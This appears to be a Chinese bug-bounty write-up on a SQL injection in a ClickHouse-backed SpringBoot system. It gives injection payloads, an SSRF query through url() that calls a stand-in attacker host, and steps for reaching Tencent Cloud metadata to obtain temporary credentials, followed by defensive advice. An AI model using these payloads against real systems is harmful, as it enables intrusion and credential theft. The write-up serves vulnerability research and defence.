SRC挖掘之“捡”洞系列
字数 1348 2025-09-01 11:25:54
ClickHouse数据库SQL注入漏洞挖掘与分析
1. 漏洞发现背景
在SRC挖掘过程中,发现一个使用ClickHouse数据库的系统存在SQL注入漏洞。ClickHouse是一种开源的列式数据库管理系统(DBMS),主要用于在线分析处理(OLAP)。与传统的关系型数据库如MySQL不同,ClickHouse在语法和功能上有其特殊性。
2. 初始发现过程
2.1 目标识别
- 目标系统是一个前后端分离的网站,基于SpringBoot框架
- 发现存在
/env端点泄露,但无敏感信息 - 发现Swagger UI界面,尝试测试接口
2.2 漏洞触发点
- 测试接口时发现数据库报错信息
- 报错信息显示系统使用ClickHouse数据库
- 错误出现在参数处理过程中,表明存在SQL注入可能
3. ClickHouse数据库特性
3.1 基本特点
- 列式存储数据库,适合大数据分析
- 语法与传统SQL有差异
- 系统自带数据库和表,如
system.tables
3.2 与MySQL的主要区别
- 表名格式通常为
database.table - 注释语法需要分号:
;-- - 特有的函数如
url()可用于外部请求
4. 漏洞分析
4.1 原始SQL语句重构
通过报错信息,重构出原始SQL语句大致如下:
SELECT * from apaaslog.tmp
WHERE 1 = 1
AND appid = '1'
AND tenantname != ''
AND receive_date IN (today(), yesterday())
ORDER BY tenantname ASC
4.2 注入点确认
- 参数
logstore存在注入可能 - 输入
/tmp/log触发报错 - 发现系统对输入进行了特殊处理:删除第一个
/后,tmp/log变为/log
4.3 注入技术细节
-
表名爆破:
- 发现系统将点号
.前的部分识别为数据库名 - 使用
system.tables系统表进行测试 - 构造payload:
$system.tables$
- 发现系统将点号
-
注释技术:
- ClickHouse中完整注释语法为
;-- - 使用注释绕过后续条件:
... AND tenantname != '';--
- ClickHouse中完整注释语法为
-
联合查询:
- 通过注入执行额外SQL查询
- 例如查询数据库信息
5. 漏洞利用进阶
5.1 URL函数利用
ClickHouse的url()函数可被用于SSRF攻击:
SELECT * FROM url('http://attacker-controlled-server.com', 'CSV', 'column1 String')
利用场景:
- 探测内网服务
- 获取云元数据(如腾讯云metadata)
- 数据外泄
5.2 实际利用步骤
- 通过DNSLog验证SSRF可行性
- 探测云元数据端点(如腾讯云的
http://metadata.tencentyun.com) - 尝试获取临时凭证
- 扩大攻击范围
6. 防御建议
6.1 输入验证
- 对所有用户输入进行严格过滤
- 使用参数化查询或预编译语句
6.2 配置加固
- 禁用敏感接口(如
/env、Swagger UI)的生产环境访问 - 限制数据库权限,避免使用高权限账户
6.3 ClickHouse特定防护
- 限制
url()函数的使用 - 配置网络策略,禁止数据库发起外部请求
- 定期更新ClickHouse到最新版本
7. 总结
本次漏洞挖掘展示了在非传统数据库中发现SQL注入的技术路径。关键点包括:
- 识别数据库类型通过报错信息
- 理解特定数据库的语法差异
- 利用系统表和函数进行拓展攻击
- 将传统SQL注入技术适配到新型数据库环境
这种类型的漏洞在数据分析类系统中尤为危险,因为这类系统通常处理大量敏感业务数据,且安全防护相对传统业务系统较弱。